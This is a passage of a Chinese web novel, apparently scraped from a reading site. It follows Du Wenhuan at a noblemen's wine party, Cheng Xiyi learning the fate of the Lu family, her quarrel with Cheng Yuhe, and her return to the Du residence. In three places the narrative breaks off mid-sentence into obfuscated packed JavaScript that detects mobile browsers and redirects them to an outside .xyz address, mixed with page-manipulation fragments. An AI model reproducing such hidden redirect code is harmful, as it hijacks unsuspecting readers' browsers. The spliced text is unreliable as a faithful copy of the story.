想到这,他叹了口气,说:“碰到个冷漠的姑娘。唉,我被拒绝了。杜翰林,碰上那么不食烟火的姑娘,说不定你也会被拒绝。” 杜文焕从这话中猜到一二,又联想到他的为人,便更多了几分猜测,说:“想来是你举止轻佻,也怪不得人家烦你。” 季棠叹道:“一见美人我就是这样的。算了,其他人都等了一会了,我们去楼上吧。” “嗯。”杜文焕淡淡应下,往门外又看了一眼。 他刚才离这里还很远时看到个熟悉的身影从这走出,匆忙过来人又不见了。 也许是看错了,这些天他的精神是有些恍惚,所以接到季棠请帖时才会答应,与这些人喝酒作诗至少会让他暂时忘记那段记忆。 他长舒一口气,往楼上走去。 25. 酒会 杜文焕同季棠上二楼雅间,还未到门前,就听到一阵丝竹管弦的乐声,曲调悠扬,听之令人心醉。 其中夹杂着些许谈笑的声音,香炉中焚烧的檀香携带酒香钻出门缝,诱惑着周围的客人。 拨开珠帘,入目便是一间宽敞的厢房,向南开窗,坐中大多是世家公子,或坐于席上,或半倚在塌上,推杯换盏,品尝醇香的美酒。 不远处屏风内,几位曼妙的女子在吹笙弹琴。 见杜文焕来了,那几位世家公子忙起身行礼道:“杜翰林,快请入席。” 对季棠,他们早已熟悉,也不拘礼。 众人又回各自的座位上坐下,杜文焕也寻了个地,敛袖坐于席上。 一旁的侍女给杜文焕斟了一杯酒,季棠说:“文焕,这可是我家珍藏的美酒,入口醇香,回味无穷,请品尝。” 杜文焕捧起玉杯,未入口便可闻得酒香逼人,清澈的酒水荡漾在玉杯之中,毫无杂质,可见确为上品。 轻抿一口,入口微苦,良久回甘,口颊留香,沁人心脾,心下的烦恼似乎被这美酒抚平了。 季棠见杜文焕紧锁的眉头松了些,笑问:“如何?” “不错。”杜文焕夸赞道,“这酒醇美非常,我竟不知季府酿酒是一绝。” 还没等季棠回答,旁边一公子插话笑道:“小棠是偷他爹的酒,是从一地窖里发现的。” 季棠也不怕他打趣,说:“我本来以为我爹挺正经一人,平时教训我少贪杯,没想到竟私藏了这些酒。估计是他年轻的时候藏的,那地窖已经很久没用了。” 一公子说:“你倒是愈发喜欢找些旧东西了,以往你可是非新不要啊。” 季棠说:“自从上次找到那副美人图后,我才发现家中旧物有点意思。难道你们不喜欢这酒么?” 那公子笑说:“那自然喜欢。美酒配美人,若你那美人图是真的岂不更美哉。” 季棠想起刚才茶楼被拒绝一事,笑道:“美人也是有几分傲气的。跟你们说,刚才我遇到一个懵懂的小美人,一时冲动邀请她来,没想到被拒绝了。” 一公子上下打量了他,大笑说:“哈哈哈哈,没想到你如此风流的季公子也有被拒绝的时候。” 季棠无奈地摇摇头,说:“哎,不说了,太丢脸了。” 那公子知道他是觉得丢脸,说:“那便不提此事了。你们可知最近恭顺王府的小世子病了?” 坐于榻上,一姓顾的公子问:“这小世子不是病了许久了吗?仍未痊愈么?” “宫里的御医也没有办法,世子病情愈发严重了。” “这事可就严重了,”顾公子说,“陛下十分宠爱这世子,恭顺王夫妇也疼他如珠似宝。若是……” 季棠说:“天下之大,竟连一个名医都没有吗?” “世子的病来得古怪,世子才十三四岁,恭顺王夫妇就让他习武,身体不说壮硕,也比一般人强些。不知怎么的,一天夜里突发高烧,卧病在床之后就一直是这样。” 季棠说:“我听说是有人行巫蛊之术诅咒世子。” 闻言,本来聚精会神听到的杜文焕持玉杯的手一顿,说:“此事不可妄言。禁巫令之下斩落多少人头,何况若是牵扯到世子,那就更加麻烦。” “也是,”顾公子说,“当初京城官员被杀案,这坊间也流传着诸多传闻,到头来也只是人在算计。” 季棠说:“我倒是听说有个医术高明的道士去了王府,说不定这世子还有救。” 道士?杜文焕想到自己中毒时,也是个道士救了他一命。 只是后来这人就不见了。 季棠笑道:“说起来这案子还是多亏了文焕,来,再多饮一杯。” 杯中酒倒了一半,杜文焕抬手摁住酒壶,说:“杯中之物略饮几杯即可,太多我怕会不胜酒力。” 顾公子打趣道:“杜翰林在喝酒之事上也如此自持,那这诗酒会可如何尽兴呢?” 说罢,他又唤在奏笙的歌姬来,说:“林儿,来给杜翰林把盏。” “是。” 吹笙的歌女噙笑跪坐到杜文焕旁,端起酒杯娇声说:“请翰林满饮此杯。” “多谢。”杜文焕不好拂了季棠的面子,略抿一口就放下了。 林儿以为杜文焕是觉得她不主动,于是凑上去,几乎要倚着他,吐气如兰:“翰林可是觉得奴家捧的酒不好喝?” 杜文焕往旁边挪了几步,避开了她的触碰,面无表情地说:“饮酒需适可而止,不必多想。” 季棠见他是真的不想多喝,眼神示意那歌女不用再劝酒,林儿见状就替其他人把盏去了。 季棠是个十二三岁开始就在脂粉堆里混的男子,又爱好交际,对他人心思把握得十分准确,遇到杜文焕这种不把心思表现出来的人倒还真是没法子。 见杜文焕这冷淡的模样,笑道:“文焕,可是这歌姬的容貌不满意?” 旁边的顾公子也来凑热闹,说:“杜翰林的眼光可高着呢,上次那幅美人图,似乎也不能打动杜翰林的心。” 季棠恍然大悟,说:“文焕你既不喜欢幽怨的,也不喜欢明艳的,莫非是喜欢冷美人?” 杜文焕不大喜欢别人问这些,说:“季兄何必追问这些,我对美色不大有兴趣罢了。” 季棠笑道:“你也到了该娶亲的年纪,男子怎会对美色没有兴趣?除非有什么隐疾……” “咳咳!”杜文焕一口酒梗在喉咙里,差点被呛死。 咳了几声缓过来,说:“之前任上事情太多,没什么机会留心男女之事。” 季棠不信,揶揄道:“以杜兄你的模样和才智,没有几个红粉知己,我们可都是不信的。” 旁边的公子闻言纷纷笑着附和,这只是个闲散的集会,在坐的又都是富贵公子。 酒至三巡,众人都已醉了,所以即使杜文焕品阶不低,众人也没太多拘束。 素来好事的顾公子说:“哎,你们这些井底之蛙都不懂,翰林的红粉知己是你们这等俗人可知道的?” 一公子闻言露出“原来如此”的神色,调侃道:“那我可就更好奇了,不让我们见一见,但也有画像吧,莫非翰林是想金屋藏娇。” 周围一众公子都发出“哦~”的意味深长的声音。 杜文焕见他越说越离谱,头疼地制止道:“不,并没有什么画像,金屋藏娇就更不可能。” 季棠笑道:“那这么说翰林确实是有红粉知己了。” “……”杜文焕说,“并不是,只是个朋友而已。” 而且是个永远不会再见的朋友。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12671060|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>想到此,杜文焕将原本只喝了一口的酒仰头一饮而尽。 季棠见他那为情所困的模样,唇角一勾,道:“只是朋友的话,文焕你还是如此烦恼?” “毕竟已经见不到了。”杜文焕喝了些酒,话中多了点惆怅。 一旁的歌姬林儿见状,替他又斟上酒。 顾公子道:“她去哪了?” 去投胎转世了。 总不能这么说吧。 杜文焕叹了口气,又喝了一杯,道:“回家了。” “回家?”顾公子说,“杜翰林若是诚心,即使这位姑娘家在千里之外,也没有不去找的道理啊。” “你说得对!”杜文焕因喝酒,脸有些红,说话也有点模模糊糊的,“是该去找,是该去找。” 话音刚落,他又委屈地补了一句:“也不知道找到了又会怎样……” 季棠道:“哦?莫非是与这姑娘吵架,生了什么嫌隙?” 杜文焕摇摇头,只是喝酒。 季棠和周围的公子不说爱眠花宿柳,但风月之地也是去过的,对男女之情自然不陌生。 见杜文焕为情所困,纷纷替他出主意。 季棠率先说:“要我说,女人嘛,都爱些金银珠玉,送些京城时兴的钗环赔罪就是了。” 杜文焕否定道:“她不戴那些东西。” 也戴不了。 顾公子用手肘捅了捅季棠,说:“看吧,我就说杜翰林喜欢的并不是我们这等俗人喜欢的。” 季棠犯了难,说:“不爱这些,那可叫我为难了。” 顾公子说:“依我看,翰林才学斐然,钟意的姑娘必定也是班昭文君之类的才女。不如送诗集?” “人家赔罪你送诗集?!” 一公子给了他个白眼,对这主意唾弃非常。 一旁的林儿笑道:“诸位公子,依奴家一女子看,真心才是最重要的。杜翰林若把心意展示出来,那姑娘无论先前怎么生气,也会将气全消了的。” 这话给了季棠灵感,他说:“哎,这也不是不行。只是这诗集需得杜文焕自己作诗编纂才行。” 众人赞道:“确实是个好主意。” 杜文焕苦笑:“我还未写过,怕她会觉得无趣。而且她更爱看些有趣的话本。” “这还真的可以理解。”季棠笑道,“近来出的话本也着实不错,那本有名的《青梅误》你们可知道是谁写的?” 顾公子晃了晃折扇,想起来一件事,说:“我有个叔叔认识书铭阁的掌柜,说每次那人送书稿来时都神神秘秘的,只放在约定的地点待掌柜去取,将银子放在原地即可。” “这不就是说,没人知道这写书人是男是女,是高是矮?” “是啊,”顾公子说,“掌柜的也有好奇心,有次取了话本,躲在暗处,想见那人模样。谁知等到半夜,人也没见着。回到家,竟见到桌上放了一封信。信上说,掌柜不守诺言,再有下次,书便不卖给他家了。而且这书稿本是一旬一交变成了一月一交。害得这掌柜被付下定银的人告到官府,说他不守时,最后赔了不少钱。” “天下之大,奇事不少。” 众人哄笑着,又继续给杜文焕出主意,后者虽觉得这些主意离谱,但这热闹多少能缓解心中苦闷,也就由着他们去了。 26. 书阁 程希夷离开茶楼之后,在大街上乱逛。 不一会,她手上抓满了点心,沿路的小贩都当她是哪家千金小姐,纷纷推销自己的东西,程希夷也不讲价。 毕竟按她的话来说,这钱是程玉和的,不用白不用。 沿路逛着,来到一题为“书铭阁”的店铺,门前来来往往有不少人。 程希夷踏上台阶,擦肩而过的人都捧着几本书,她展眼一看,大多不是什么正经书,都是些供人玩笑的话本。 上次杜文焕送她的话本还没看完,这也过了许久,不知有没有出新的。 阁内最显眼的地方摆了许多书,最上头的就是《青梅误》。 程希夷捧起那本书,才翻了两页,本来还在忙的掌柜见她一身打扮,非富即贵,急忙上来亲自招待。 尽管他十分奇怪这小姐旁怎么没有丫鬟随侍,这不合礼法。 但举止行动轻灵飘逸,通身的气质又不像个普通民女。 他说:“小姐,请随意看。” 程希夷翻了几页,里头的内容与之前杜文焕所送的大差不差,想必是还未出新的。 掌柜见她拿起那本话本,搓手堆笑,说:“这位小姐真是有眼光,这是我们这最受欢迎的话本了。” 程希夷一路走过来,不管什么首饰铺、胭脂铺,只要她一捧起哪样东西,掌柜的都会说是卖的最好的,或是工艺最好的。 到了这儿竟还是一样。 只要喜欢,她不介意花钱,不过这本她看过,没什么买的必要。 程希夷将书放下,笑道:“这本的确不错,我看完了,有无别的?” 掌柜的忙给她找了几本,恭恭敬敬地递给她。 程希夷一边翻阅,一边问:“掌柜的,这京城姓陆的除了国舅爷之外,还有没有别的人家?” 她之前去茶楼除了散心之外,也有打听消息的目的。 茶楼是三教九流汇集之地,诸多传闻也从那传开。 只是还未等她问,就来了个甩不掉的狗皮膏药。 她不喜欢轻浮的人,而且有那人在旁边也不好问。 之后沿路一边买东西一边打听京城陆家。 得到的消息是京城姓陆的人里,最有名的当属当今国舅爷陆利,他有个女儿陆浮梦被选上入宫,得了皇帝的宠爱,从小小的秀女一路晋升为妃,是为冠宠六宫的宜妃娘娘。 至于其他的,就都只是些老百姓而已,或是与国舅爷攀亲带故的同姓。 程希夷打听过,在十多年前有无一家有名的陆家。 祠堂中陆姓的牌位足足有四十来座,又牵连那么大的案子,绝不可能是没名没姓的人家。 但一路打听无果,都说不知道。 而这书铭轩的掌柜显然也是如此,他略微思考了一会,说:“姓陆的倒是不少,城西和城东都有,但都是我们这些没来头的小老百姓,小姐是要找人么?” 程希夷编了个借口,说:“小女子家中并不在京城,小女子家中有位世交过世前托我们来找十多年前的一位恩人,只是这位世交还未说完,只说是京城陆家,所以来打听。” “十多年啊······”掌柜摸了摸下巴,努力地想回忆起些什么。忽然他眼睛一亮,程希夷以为他是想起来了,谁知他指着门口大声说:“来了!” 程希夷回头一看,是个头戴方巾,身穿石青色圆领袍的年轻男子。 掌柜看到这人,迎上去拱手笑道:“陆大人。” 姓陆?程希夷心念一动,将他上下打量一番。负手而立,神采飞扬,的确有官员气派。 既然他姓陆,模样看起来也有二十五六岁,说不定也会对当年的陆家知道一二。 陆甲与掌柜客气了一番,感觉到有个人一直在旁边注视自己,偏头一看,是个十七八岁的姑娘。 身穿桃红彩绣团花云锦齐胸襦裙,头上只斜插了一支掐丝珍珠蝶形金钗,色若云霞,眼如秋水,明眸皓齿。 他一瞬间呆在原地,只听得有人唤了好几声才回过神来。 “陆公子,陆公子?”程希夷不明白为什么他怔住了,见他僵硬的眼睛终于重新活动起来,方才松了口气。 她还得早些回去,总不能一直看他发呆吧。 “这,这位小姐是?”被唤回神的陆甲十分羞耻自己失态,结结巴巴不知怎么搭讪。 程希夷先介绍自己说:“小女子姓程。” 一旁的掌柜善解人意,上前解围道:“这位小姐替别人来找一位姓陆的恩人,陆大人你不也姓陆么,说不定会知道一些?” 这正合程希夷的心意。 陆甲找到了话题,自然乐意帮忙,问:“程姑娘所找的人是哪里人氏,叫什么名?” 程希夷正想开口,周围的人越来越多,十分嘈杂,言语都被淹没在人山人海的吵闹声中。 陆甲也发现在这吵闹的店铺中是谈不了事的。 “不如姑娘随我去外谈,说明一二?” 程希夷颔首,同意这个做法。又转头递给掌柜一锭银子,算是答谢。 掌柜惶恐地接过,语气颤抖,又喜又惊道:“这,程小姐,就算是买十本也用不着这么多,何况您还不买这些······” “就当是我下次来买那本《青梅误》的定金吧。”程希夷笑道。 当然下次还会不会来就不一定了,程玉和指不定又要她做什么,能自由逛街的日子并不多。 掌柜忙称好。 出了书铭阁,程希夷说:“听小女子世交所说,他所找的陆家十多年前在京城是大户人家,原本一直有书信往来,只是后来竟无音讯,陆公子可还知道京城有哪些先盛而衰的陆姓人氏?” 陆甲说:“恐怕只有国舅爷一家。他······” 陆甲顿了顿,欲言又止地说:“或许不是姑娘要找的人。” 他肯定知道内情,但就是不方便说,以他官吏的身份,这事说不定关乎朝廷。对一个萍水相逢的人,此等利害之事想必不好说。 但她出来的目的就是要从程玉和之外的人口中知晓陆家的往事,既然发现一个知情人,自然不该放过。 程希夷继续循循善诱:“国舅爷一家曾经可出了什么事?这个世交与我家情分亲厚,他的恩人若是出了什么事,留有后代,我家也可帮扶一二。” “唉,也没这个机会了。”陆甲叹了口气,语气中带着苦涩,“国舅爷曾经有个哥哥,可惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12714699|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们一家犯了事,全家都死在大火之中。” “哦,是嘛······这个陆家连孩子都没逃出来么?” 这个事也许就是巫术案,如果她真的是陆家的人,那当年她是怎么逃出来的呢? “没有,”陆甲闭眼,摇了摇头,“陆老爷夫妇和他们的独生女烧焦了的尸首最后都被找到了,全家四十余口,无一幸免。” 大白天的,程希夷却觉得从骨头中传出一阵凉意。 程守节脸上烧伤的伤疤,祠堂那些牌位,都对上了。 程希夷问出最后一个问题:“那,他们的独生女,叫什么名?” “陆卿云。” 程守节叫她“云儿”。 是了,是了。尽管不知道她是不是陆家的女儿,但程守节所言证明他就是国舅爷的兄弟。 可是,为什么程守节一家被卷入巫术案,而他的兄弟不仅没有获罪,甚至在多年后沾了皇家的光,当了国舅爷? 这其中,又有什么没被发掘的往事和隐秘呢? 陆甲见她沉思不语,以为是自己说的事太无聊,想缓解一下气氛,故作随意地说:“程姑娘刚才递给掌柜银子的样子颇为大气,想必身份不一般吧?” 程希夷原本带笑的嘴角一僵,眼神怀疑地看向陆甲,莫非这人对她有什么疑虑? “公子的意思是?”先装傻再说。 陆甲笑了笑,不好意思地挠挠头,说:“程姑娘让我想起一个人,他之前打听消息也是这么一锭银子给过去。想必姑娘和他一样,都是不愁吃穿,家中富裕之人。” 程希夷不懂他的意思,说:“与我一样,有什么不对吗?” 陆甲摇了摇头,说:“只是有些羡慕罢了。” 羡慕什么?他没有明说。程希夷注意到他的衣服虽然整洁,但都半新不旧的。之前打听陆家消息,也听说都是些普通人家。 这人虽则当官,想必也没有多少俸禄。 “陆公子也喜欢看话本么?”程希夷问。 “嗯?是啊。”陆甲一时没反应过来,下意识说。 “我也喜欢。”程希夷笑了笑,说,“王侯将相,市井人家,在话本里都是填补故事的人物,并无高下之分。王侯将相自然有山珍海味,普通人家也有自己的烟火人间。山珍海味填不满孤独,粗茶淡饭说不定也其乐融融。陆公子常来书铭阁,小女子却不常出门,更少谈看话本了。小女子也羡慕陆公子的自由啊。” 陆甲对上程希夷明亮的双眸,心中被这一番话惊得五味杂陈。 他想不到一个普通的闺阁女子还有这种见识。 “小生受教了。”陆甲说,“小生本是要回答小姐问题,却变成小姐替小生解惑了。” “不必客气。” 程希夷抬眼看了看天色,天边云彩翻卷,显出暗沉的阴影,似乎快要下雨了。 她出来一趟不能太久,免得招致程玉和的怀疑。 于是她向陆甲辞别:“天色不早了,小女子先告辞了。” 陆甲没想到她这么快就要走,扭扭捏捏地想问能不能再见到她。 “哎,程姑娘······” 可还没等他说完,程希夷早已走远了。 27. 对峙 程家在东街道观后的巷子里,从外头看是很不起眼的宅子,不高不矮的围墙,从墙角里冒出的树冠,以及窄小的后门。 程希夷出来时是从后门出去的,此时她打算悄悄从后门溜回闺房。 可刚推开吱呀响的木门,程玉和的另一个丫鬟青黛像是早有预料似的,在门的另一头候着她,“小姐,您回来了。” 程希夷猛然看见一个人,吓了一跳,待看清人后,不满道:“你这是?” 青黛说:“大小姐在她房中候着您,请。” 说到程玉和,程希夷从脚底升上一股冷意,这人料事如神,莫不是以为她逃跑了,要惩罚她? 可如今也没什么可以约束她的,程玉和所替她找的“家人”也不知是真还是假,自己还有诸多疑惑未曾解开,不论如何,还是得见一见这人。 想到这,她心稍安一些,随青黛来到程玉和房前。 青黛在门外说了一声“二小姐”来了,门便从内拉开了。 扑面而来的是浓重的药草味,屋内很凉,像是打开了全部窗户将冷风灌入,可窗户都是紧闭的,而房门早在程希夷进来的那一刻关上了。 略有些昏暗的房内,一个披着大氅的年轻女子背对着程希夷端坐在烛台前。 虽然已经入秋,但天气并不算冷。 前几日下了点雨也只是冷了一会,过后放晴时又如之前一样温暖,正午甚至堪比夏日。 可这女子却裹着厚厚的狐狸毛大氅,指尖苍白而冰冷。 一条白色缎带轻轻系在她的双眼前,露出她精致秀美的鼻梁和嘴唇, 她的皮肤如同冬雪一般白皙而寒冷,只坐在那里,便像是下凡渡世的神女,恍然让人不敢侵犯,只可远观。 她的面前有一盘未完的棋局,黑子几乎将白子堵死,而她手执黑子,唤程希夷道:“过来。” 程希夷不敢不过去,尽管她心里头有疑惑,也有怒气,但这人深不可测,还是不要轻举妄动为好。 “您唤我做什么?” “来下一盘棋,”程玉和说,“这黑子已经胜利在望,即使是你,应该也可获胜吧?” 程希夷看了看那盘棋,确实如程玉和所言,白子的路几乎被切断,只需几步,黑子便可将白子杀个片甲不留。 她不懂程玉和这是什么意思,切磋棋艺? 自己的棋艺与她相比简直天差地别,在被她驱使之前,自己压根就没碰过几次棋盘,更不谈谋篇布局,诱敌深入之类的战术。 而程玉和每次都会让她输得找不着北,但下次还会扯着她下棋,是以自己棋艺虽烂,但长久磨练下来也可糊弄一二。 只是从前程玉和连一子都不会让,今日怎么让她站在必胜的这一方? 她心中百转千回,不知程玉和打的什么算盘,勉强坐下,在棋盘上落下一子。 听到落子的声音,在程希夷看不见的地方,程玉和微微一笑,亦落下一子。 冰冷的室中只余下棋子与棋盘相磨的声音。 良久,原本注定胜局的黑子却被白子一步步逼退,霎时间逆转局势,程希夷咬着下唇,眉头愈蹙愈深,落子也愈发谨慎。 空气都被这焦灼的气氛沾染得热了几分,仿佛骤然凝成水珠,落在程希夷光洁的额头上。 “啪嗒”,最后一子,已成定局。 “我输了。”程希夷合上眼,伸了伸懒腰,打了个哈欠。 她只当陪程玉和玩了一局,并不在乎输赢,只是一局下来耗费了许多精神。 “呵,”程玉和听见她的哈欠声,心知她对棋局毫不在意,冷冷地说,“你知道自己为什么在黑子占据如此大的优势的情况下还会输吗?” 程希夷当她是明知故问,说:“我的棋艺本不如你,输给你也是意料之中。” 程玉和并不满意这个回答,“你的棋艺十分糟糕,这是事实。但更重要的是,你感情用事,缺少谋略。自以为不在乎输赢,殊不知暗处自有陷阱等着你,连一盘胜局都变成败局。” 听完她这番暗指的话,程希夷气得站起身来,冷笑道:“是,我是感情用事,算计人心更是不如你。你是厉害,知道我从哪来,将我哄得为你卖命,暗中又拿那些莫名其妙的故事迷惑我。原来是为了告诉我,我就是那巫术案中被牵连的陆家女儿。接下来是不是要我替家族复仇,在魂飞魄散之前继续为你的大计添砖加瓦。好算盘,真的是好算盘!” “不错。”程玉和干脆地承认了,对她这番指责不仅不生气,甚至还有些许赞赏,“你出去到处打听,不也是为了证明陆家是否确有其事么?” 程希夷想起丫鬟青黛像是早有预料般候在后门,瞬间明白了,语气中又多了几分怒气:“你派人跟踪我!” “是又怎么样,”程玉和语气平淡,听不出情绪,“既然你已经得到答案,现在还是不相信自己的身份吗?” “我不相信你。” 程希夷与她此刻已经没什么可说的,自然不必忌惮她了。 “话已经说开了。”程希夷深叹一口气,见她那副整个人几乎被裹进大氅,眼睛又看不见的凄凉模样,自觉也没什么可计较的,拍了拍自己的衣裙,说,“我要离开京城,如果你还有点良心,就看见我这两个月替你办事的份上给我点银子做路费。” “你是要继续寻找自己的家人?” “是。” 程玉和也站起身,乌黑飘逸的长发散落在肩前,不解地问:“你应该明白,这是个即使你动用追溯时空的禁术也得不到的答案。你的魂魄已经破碎不堪,还是要如此?” “你这种人是不会明白的,”程希夷看着她,眼神中闪烁着悲伤的光,“那种注定魂飞魄散却不知自己是何人,从哪里来,又为何会如此的痛苦。” 程玉和无奈地说:“你若是一直寻找自己想要的答案,又怎么会相信别人告诉你的真相呢?困在过去是没有用的,你不想让自己继续活下去吗?” 程希夷并不想听她的话,转身出门,临走前留下一句:“你不也是一个困在过去的人么?” 见程希夷怒气冲冲地摔门出去,门外候着的青黛忙进去,关心地询问程玉和:“主子,您没事吧?” “无妨。”程玉和倚着青黛的手,慢慢坐下。 青黛说:“主子,二小姐她太过感情用事,似乎并不理解您,您的计划还要告诉她吗?” “暂时不必,”程玉和说,“我本以为见到程守节之后,她的记忆自然会复苏,没想到她还是一点也没想起来。按理说被破魂刀伤害魂魄之后,若是修补了,一旦见到至亲或是印象深刻之人,应当会想起过往之事。莫非是禁术的影响?” 青黛不安地问:“那该如何,刚才奴婢听到二小姐说要离开京城。” “那就放她离开,”程玉和的指尖抚摸过棋盘上每一枚棋子,“近期天末国的使团就要进京赴中秋宴,周边县镇都会限制人员流动,严格审查,她也跑不了多远。而且她要离开必定选择南下,必经的赤县发生了一些事,让她去历练一下也好。” 青黛理解了程玉和的意思,恭恭敬敬道:“那奴婢这就去替二小姐准备行李和马匹。” “嗯,去吧。” ······ 程希夷说了那番负气话回到房中,就开始收拾行李。 从箱匣中翻出自己的道袍和法剑,摸了摸衣服夹层,里面的符箓尚且完好,尽管下山之后并没怎么用上,但说不定哪天也靠它们混口饭吃。 她又翻了翻房中几口衣箱,里头一色华贵衣裳,都是年轻小姐穿的,而首饰箱和妆奁都齐备完好,发簪、耳环、戒指、项链一应俱全,更不谈各色胭脂和描眉画鬓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12746212|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之物。 这些东西都准备得十分齐全,而房间各种摆设一看便知是精心布置的,倒让程希夷一时没了主意。 她猜不透程玉和的心思,也不知程玉和到底是什么人。 有时程玉和对她很是苛刻,两个月前将她抽出魂魄,用家人的消息和还魂的条件威胁她去监视官员,甚至于接近杜文焕,诱使他用鲜血与鬼魂交易。 但有时又对她很宽容,她不愿伤害杜文焕,按理说任务应该是失败了一半的,程玉和居然也没惩罚她。 如今她又出言顶撞,程玉和也没拿她怎么样。 比起主子,程玉和对她更像是严厉的长姐。 按理来说,没点血缘关系做不到这个程度。 可她的身世若是真的,陆家大老爷只有她一个独生女,也没有姐姐。 这些谜团围绕在程希夷心中,一时想不通。 就在此时,房门打开了,丫鬟青黛走了进来,手里拿了一个包袱。 程希夷吓了一跳,忙不迭把身旁的道袍之类的物什塞回衣箱,情急之中,关衣箱力气太大,手来不及缩回,被重重夹了一下,顿时疼得龇牙咧嘴。 “二小姐,你这是?”青黛快步走过来,想看看怎么了。 “没,没事。”程希夷扯出一个笑容,心里狂叫疼疼疼疼。 她问青黛:“程······” 刚才她确实是意气用事,万一程玉和越想越气,派丫鬟来处置她怎么办,话到嘴边又转了称呼:“玉和姐姐派你来做什么?” 青黛递给程希夷一个包袱,说:“大小姐说既然你不信,那就走吧,里头有一包银子,有纹银一百两,算是盘缠,以后自然各不相干。” 程希夷懵懵懂懂地接过,程玉和何时这么善解人意了? 青黛又说:“后院有一匹马也是为您准备的。大小姐说既然你不愿承认,那今夜就请离开,出了这院门,大家各走各道。” “这是自然。”正合乎程希夷心意,她也不打算久待。 程希夷将自己的物件全部收入包袱之中,来到后院,骑上那匹看上去不大精神的黑马。 马蹄一声一声踏在泥土上,慢悠悠出了程宅。 程希夷刚出了后院门,里头青黛立刻就将门关上了。 “啪嗒。” 又干脆又快速的关门声。 程希夷摸了摸身下那匹马,说:“现在我又是一个人呐,哎。也没事,人嘛,到头来都是自己来自己去的。” 她沿着巷子便到了一岔口,往左边走就可走到城门口。 天上开始下起小雨,但这点雨并不耽误赶路。 程希夷望着空寂无人的前路,幽幽地说:“在离开京城之前,再陪我去个地方吧。” 她脚一蹬,“驾——” 马便带着她撒腿往右边跑去,不一会便没了影。 另一边,一辆马车缓缓从左拐入,进了巷子。 车夫见前头有一匹马跑过,下意识躲闪,一晃神,马车从一石头上压过,颠簸了一下。 马车中的人本来在昏睡,被这颠簸惊得嗑到头,迷迷蒙蒙睁开眼,问:“怎么回事?!” 车夫急忙解释道:“大人,是前头有个人骑马乱闯,小人躲闪不小心绊到石头。” “······”马车里没了声音。 车夫又说:“杜大人,您这次酒喝得有些多了,要不回杜老爷杜夫人那儿,好歹有家里人照顾着。” 杜文焕头痛欲裂,迷迷糊糊地说:“白虎坊的也是杜府,与他们相比,丫鬟倒还贴心些。” 再次昏睡之前,他又补充了一句:“我想要照顾我的人也不在那里。” 话音未落,人已倚着软垫睡了过去,放在身前,本来紧握的手松了些许,露出一枚中间有刀痕,不再闪烁银光的旧银锁。 28. 遇险 不多时,程希夷已到了杜府周围。 今时不同往日,她要进去也需要避开守门的家丁,而且也不可在周围晃荡许久,免得招人怀疑。 她骑马绕开正门,走小路来到杜府侧面的围墙,这里有一棵大树,程希夷将马藏在树后,自己三两步爬上树,轻点树枝,落在了墙内。 杜府的构造她是极为熟悉的,更不提杜文焕所住的西院。 她所在的地方离西院更近,但也隔着一处花圃,据说是杜老爷的先夫人留下的,后来归如今的杜夫人打理。 杜夫人爱调制香料,单纯混合花香还不够,又将这处花圃分了一半用作种植香草,雇了专人打理,所以这里常年有花匠。 程希夷小心打量周围,沿着墙角避开花匠的住处,从一小门穿了出去,走到一通往西院的羊肠小径。 进了西院,程希夷来到书房前,下意识从窗户那进去,可手指刚实打实碰上窗棂,木头的质感才让她反应过来自己不再是鬼魂,没法直接穿窗而入。 往日她来时,窗户总是半撑开的,可是今天一直挂在窗边的青铜风铃不见了,窗户也紧闭着。 他还未回来么? 程希夷将窗户拉开一个角,朝里头望去。 里面并没有什么大的变化,只是书架上的书少了大半。 书案上,杜文焕常用的毛笔整齐地放在竹木笔架上,砚台里已经没有了墨,被清洗得干干净净。 总放着几本闲书的圆桌上也只剩下些古玩,其他摆设倒是没动。 见里面没人,程希夷眼眸垂下,遮住了眼中的失望。 也许是真的有缘无份,临别时想来看一眼也没这个机会。 她往来时的方向走去,忽然听到卧房那传出几声异响。 大白天的就休息了么? 程希夷毫不犹豫地回身往卧房走去,手碰到门时忽地有些退却。 里面会是他么,可能只是丫鬟在收拾东西。 自己就算见到他,又能说些什么呢? 她不过是个大骗子,谎言一旦被戳穿,那建立在这谎言之上的信任就像是失去根基的木房,瞬间就会倒塌。 这种结果是她不想看到的。 抱着这种心情,程希夷决定只看一眼,走到卧房的窗前,用手指在纱窗上戳了个小洞。 卧房里安静下来,床边左瞧右瞧却看不见人,视线又转向房间中间,一个女子的背影映入眼帘。 丫鬟? 不太像,这人身上的衣裳很华贵,不像是丫鬟所穿的。 瞧着背影有些眼熟,那人正翻找些什么,可这房中本就不剩下什么东西。 桌案、衣箱、柜子,她一个个翻找,终于摸到了一包东西。 那东西只露出一个角,被裹得严严实实,根本看不清那是什么。 